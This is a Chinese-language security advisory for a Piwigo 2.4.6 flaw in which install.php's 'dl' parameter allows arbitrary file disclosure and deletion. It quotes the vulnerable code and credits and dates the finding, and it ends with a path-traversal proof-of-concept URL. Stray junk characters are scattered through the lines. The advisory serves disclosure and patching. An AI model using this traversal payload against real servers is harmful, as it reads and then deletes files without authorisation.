Piwigo任意文件泄露和任意文件删除漏洞

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Piwigo是用PHP编写的相册脚本。

Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
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  U& g" V* k1 o6 e% g# W/install.php:
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113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
114: {
7 C, ^6 J9 h% ~' B115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
116:   header('Cache-Control: no-cache, must-revalidate');
117:   header('Pragma: no-cache');
) c3 z3 t. @) U7 C; d118:   header('Content-Disposition: attachment; filename="database.inc.php"');
119:   header('Content-Transfer-Encoding: binary');
120:   header('Content-Length: '.filesize($filename));
121:   echo file_get_contents($filename);
& j* G% N7 g& ?5 K8 K5 n6 `, x122:   unlink($filename);
123:   exit();
124: }
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Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
9 W. B0 c: l) j: ~. u, [$ p& |           Apache 2.4.2 (Win32)
           PHP 5.4.4
5 N- r3 r' x& X) `2 q0 M           MySQL 5.5.25a

* e1 J0 V2 O! c  k! T* j6 k6 E( DVulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience

1 Z. V" u) s2 SAdvisory ID: ZSL-2013-5127
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
/ D; B9 S' a& }' N0 n+ R( n, FVendor Patch: http://piwigo.org/bugs/view.php?id=2843

15.02.2013
' v8 g( S/ N* {7 Y' @
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http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt

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